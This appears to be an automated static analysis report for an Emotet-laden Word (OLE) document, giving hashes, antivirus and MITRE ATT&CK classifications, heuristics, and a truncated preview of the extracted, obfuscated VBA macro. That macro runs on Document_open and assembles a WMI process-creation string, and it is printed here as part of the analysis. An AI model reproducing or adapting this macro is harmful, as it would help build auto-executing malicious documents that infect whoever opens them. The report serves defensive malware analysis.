Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 0ddd05f4a301e891…

MALICIOUS

Office (OLE)

183.6 KB Created: 2019-12-20 19:40:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 57568a8c557160880b5d62a8f417c7da SHA-1: e015c14bbd52749320bacc4e3d200acdac3089e0 SHA-256: 0ddd05f4a301e8919c22f9b5a404d93db3d5aa3e3dcd7b5b3e014e189b297b2d
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-7473714-0', strongly suggesting the Emotet family. The presence of a 'Document_Open' macro and a 'GetObject' call indicates that the VBA code is designed to execute automatically upon opening the document. The obfuscated VBA script likely attempts to download and execute a secondary payload, a common Emotet tactic.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7473714-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7473714-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7575 bytes
SHA-256: 08c944f3b4cd9e1d22d5483e817d198340b20aa35870bbb767208a62059a47fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vxxjpuroivnlu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Gytiudbjvyj, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dsxkvdqwvbxbw = 234 + 423
   Do While Ietrcxlummv = 1
      Dyahtlnx = 3 * Zytfqziujrm
      Dggzsykx = ("Fred")
      For Qtwbqilh = Pusirvvesl To Nywbnluyosy
         Ltxrmyjv = ("Omnis.")
         Jnyhwdgeps = 223
      Next
      Yepuzmrvw = Egbxmgmasgmnn
Loop
Ovmdxabvzp
   Jppvdpsfkq = 234 + 423
   Do While Atehjxzdj = 1
      Tfzrxydfo = 3 * Fsvxasiu
      Xbwmxqhboxa = ("Qui rerum aliquid.")
      For Vpexvhglw = Nmmmwgvpctwec To Hweapczlzhwun
         Cahzyldueicl = ("Ratione libero tenetur assumenda doloremque dicta est harum.")
         Ylbsvzkhwdu = 223
      Next
      Nfzlhciq = Dgoebzsmrvyaw
Loop
End Sub

Attribute VB_Name = "Xwtsaryn"
Attribute VB_Base = "0{41A8A298-BA38-488F-9A2F-CA3C8BE5D474}{8E2F5AD2-4690-4C7A-BC26-6CDED876C27F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Uabiwvktv"
Function Xpdnzdpoiosa()
   Hxmiztra = 234 + 423
   Do While Hsewzhte = 1
      Ujgujlod = 3 * Lxbhlcarnja
      Dttcyxtqrfl = ("Asperiores ut aut aut.")
      For Qsyoeozyqjrwl = Cqkdlsdbp To Giztsqxnmis
         Mjrmjcfna = ("Nostrum earum fuga dolor.")
         Auhxfnqjfoh = 223
      Next
      Wrbyxkykrfrcb = Ndcgwltxiaiz
Loop
Kinetedfx = Vxxjpuroivnlu.Gytiudbjvyj
   Klgskatlinoel = 234 + 423
   Do While Fnaepnkcgy = 1
      Tjfvdofslxu = 3 * Onxtmhosz
      Yeokzjztak = ("Amet.")
      For Crlpfrah = Xaanjtrvxu To Wyzuscxaoxplu
         Ribziqnh = ("Voluptas.")
         Lagcfnfigv = 223
      Next
      Lyxjswzloth = Mvvlfjqljgcry
Loop
Ptjywpbprdtd = Kinetedfx + Xwtsaryn.Otgopzttwwsxm + Xwtsaryn.Xhaofdoue + Xwtsaryn.Huzdaljzgutn
   Mpxxwbgr = 234 + 423
   Do While Bsfoibqpfea = 1
      Rmsjvsddajjt = 3 * Fwadvkvdl
      Bsbxqict = ("Ut unde minima.")
      For Leskzdjai = Svktfafhyoax To Abgjahzuaush
         Hmcdzgjxrelhw = ("Corrupti deserunt sed et.")
         Rkglqybdqhovx = 223
      Next
      Axiizmmwxzk = Cysknwjjlv
Loop
Hbjhcyhq = Ptjywpbprdtd + Xwtsaryn.Yumsgllsxk + Xwtsaryn.Ycqbeaauqeyp.Tag
   Gknrkjewgug = 234 + 423
   Do While Iolaztiezig = 1
      Ghfnkyvvlka = 3 * Tnlyspksnt
      Woykhbhev = ("Tempore.")
      For Qtjiqsxdkgqav = Qqcwtnog To Xkditonrpu
         Guzqqfzgn = ("Eaque sed quis et.")
         Glqczjkbmvyt = 223
      Next
      Urscjfxvhjhw = Jgiwtswxclohf
Loop
Xpdnzdpoiosa = Xhhtcaavbd + Hbjhcyhq + Xhhtcaavbd
   Kxgijdrldsqcz = 234 + 423
   Do While Putfchevy = 1
      Yiclpbmbhcg = 3 * Yknugkmdqltnm
      Sgcisvejjrdoq = ("Alfred")
      For Cicvhstkpndki = Ydsqjbzyzc To Ecdvwfqj
         Qbdyvnuokv = ("Occaecati ipsam beatae inventore.")
         Tawzoxcj = 223
      Next
      Nrphmshfsnxn = Mkfmdlrynejd
Loop
End Function
Function Ovmdxabvzp()
   Mcbdenpu = 234 + 423
   Do While Utxbcznbou = 1
      Czurhxruwbq = 3 * Jzpqcfetpxxlu
      Gemewvabi = ("Brendan")
      For Rdumsdeet = Kmoaxmcwfmkmo To Lxbjxgdwoay
         Uhqtehtaq = ("Recusandae dolorum non modi ullam quos ea iusto.")
         Nzmhthrgudrgc = 223
      Next
      Shqzayjx = Wrhhyovbdvytw
Loop
iwiwiiwiwjjsj = "__&888*&^bBGks^@"
   Kmrzuwhpy = 234 + 423
   Do While Rnplsbun = 1
      Jghbmqsx = 3 * Ivlbzpvuxrbd
      Nemttltuxgafk = ("Quis et.")
      For Goryqtvco = Fappzgrl To Dydpyoyfa
         Xlrckfycr = ("Terrence")
         Hqfsfhguozkad = 223
      Next
      Irfxwnryhoy = Asiwefqnjfi
Loop
Rpiaolvlcxto = Split("__&888*&^bBGks^@wi__&888*&^bBGks^@nmg__&888*&^b" + "BGks^@mts__&888*&^bBGks^@:Wi__&888*&^bB" + "Gks^@n3__&888*&^bBGks^@2___&888*&^bBGks^@" + Vxxjpuroivn
... (truncated)

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